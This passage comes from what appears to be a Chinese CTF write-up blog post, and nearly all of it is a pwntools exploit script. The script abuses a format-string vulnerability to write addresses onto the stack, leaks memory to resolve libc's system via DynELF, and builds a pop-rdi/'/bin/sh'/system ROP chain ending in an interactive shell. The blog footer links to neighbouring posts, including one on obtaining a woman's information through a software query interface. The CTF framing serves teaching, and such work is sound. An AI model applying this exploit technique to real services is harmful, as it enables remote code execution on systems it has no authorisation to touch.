    addr_8_bit = int(hex(addr)[2:].zfill(16)[0:2], 16)

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 7) + 'x%12$hn<<>>'
    if addr_8_bit:
        fmt_2 = '%' + str(addr_8_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 6) + 'x%12$hn<<>>'
    if addr_7_bit:
        fmt_2 = '%' + str(addr_7_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 5) + 'x%12$hn<<>>'
    if addr_6_bit:
        fmt_2 = '%' + str(addr_6_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 4) + 'x%12$hn<<>>'
    if addr_5_bit:
        fmt_2 = '%' + str(addr_5_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 3) + 'x%12$hn<<>>'
    if addr_4_bit:
        fmt_2 = '%' + str(addr_4_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 2) + 'x%12$hn<<>>'
    if addr_3_bit:
        fmt_2 = '%' + str(addr_3_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 1) + 'x%12$hn<<>>'
    if addr_2_bit:
        fmt_2 = '%' + str(addr_2_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    fmt_1 = '%' + str(low_bit + (offset_to_rbp * 8) + 0) + 'x%12$hn<<>>'
    if addr_1_bit:
        fmt_2 = '%' + str(addr_1_bit) + 'x%14$hhn<<>>'
    else:
        fmt_2 = '%14$hhn<<>>'
    Edit(0, fmt_1)
    show(0, '<<>>')
    Edit(0, fmt_2)
    show(0, '<<>>')

    log.success('write %s in offset %s to rbp success' %
                (hex(addr), str(offset_to_rbp)))


def leak(leak_addr, offset_to_rbp=7):
    write_stack(leak_addr, offset_to_rbp)
    Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
    show(0, '<<>>')
    leak_data = sh.recvuntil('<<>>').strip('<<>>')
    while True:
        if not len(leak_data) < 8:
            break
        leak_data = leak_data + '\x00'
        write_stack(leak_addr + len(leak_data), offset_to_rbp)
        Edit(0, '<<>>%' + str(14 + offset_to_rbp) + '$s<<>>')
        show(0, '<<>>')
        new_data = sh.recvuntil('<<>>').strip('<<>>')
        leak_data = leak_data + new_data
    leak_data = leak_data[:8]
    log.success("[%s] -> [%s] = [%s]" %
                (hex(leak_addr), leak_data.encode("hex"), repr(leak_data)))
    # gdb.attach(sh, 'b *0x0400B1B')
    return leak_data


# get stack addr
Add(100, '<<>>%12$p')
show(0, '<<>>')
rbp_addr = int(sh.recvuntil('\n').strip()[2:], 16)
low_bit = int(hex(rbp_addr)[-4:], 16)
log.success('get rbp addr: ' + hex(rbp_addr))

# dynelf
dynelf = DynELF(leak, elf=elf)
system_addr = dynelf.lookup('system', 'libc')
log.success('get system addr: ' + hex(system_addr))


# make ROP : pop_rdi -> binsh -> system

# write system addr in rbp + (3 * 8)
write_stack(system_addr, 3)

# write binsh addr in rbp + (2 * 8)
binsh = int('/bin/sh'[::-1].encode('hex'), 16)
write_stack(binsh, 8)
binsh_addr = rbp_addr + (8 * 8)
write_stack(binsh_addr, 2)

# check if succuss
Edit(0, '<<>>%15$p<<>>%16$p<<>>%17$p<<>>')
show(0, '<<>>')
ret_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_binsh_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
changed_system_addr = int(sh.recvuntil('<<>>')[:-4].strip()[2:], 16)
assert changed_binsh_addr == binsh_addr
assert changed_system_addr == system_addr
log.success('binsh and system is ready')
log.success('ret addr: ' + hex(ret_addr))


# write pop_rdi addr low bits in rbp + (1 * 8)

# change low bits
assert abs(ret_addr - pop_rdi_addr) < 0xffff
fmt_1 = '%' + str(low_bit + (1 * 8)) + 'x%12$hn<<>>'
fmt_2 = '%' + str(pop_rdi_addr & 0xffff) + 'x%14$hn<<>>'
Edit(0, fmt_1)
show(0, '<<>>')
Edit(0, fmt_2)
show(0, '<<>>')
log.success('write pop_rdi addr success')

sh.interactive()

THE END!


   转载规则


《i春秋圣诞节活动ctf题writeup大放送》 Wing 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
Pentest-WiKi Pentest-WiKi
Pentest WiKi 译者:@wing,@彼岸花团队,@\xeb\xfe,@EazyLov3,@奈沙夜影项目原地址:Pentest WiKi分别是一下几个部分:part1 信息收集part2 漏洞评估part3 渗透工具part4
2017-12-29
下一篇 
记一次通过某软件的查询接口获取MM信息 记一次通过某软件的查询接口获取MM信息
0x01 前言昨晚刚想掏出尘封多年的武林秘籍(线代)来学习时,听见室友在抱怨说:wing,上次你说的那个优雅的监听女友的方法然并卵啊,女朋友是啥?能吃吗?好吃吗?心疼的抱住自己。QAQ wing:亲,表哭,要坚强!你还记得我们平时最讨厌
2017-12-23
  目录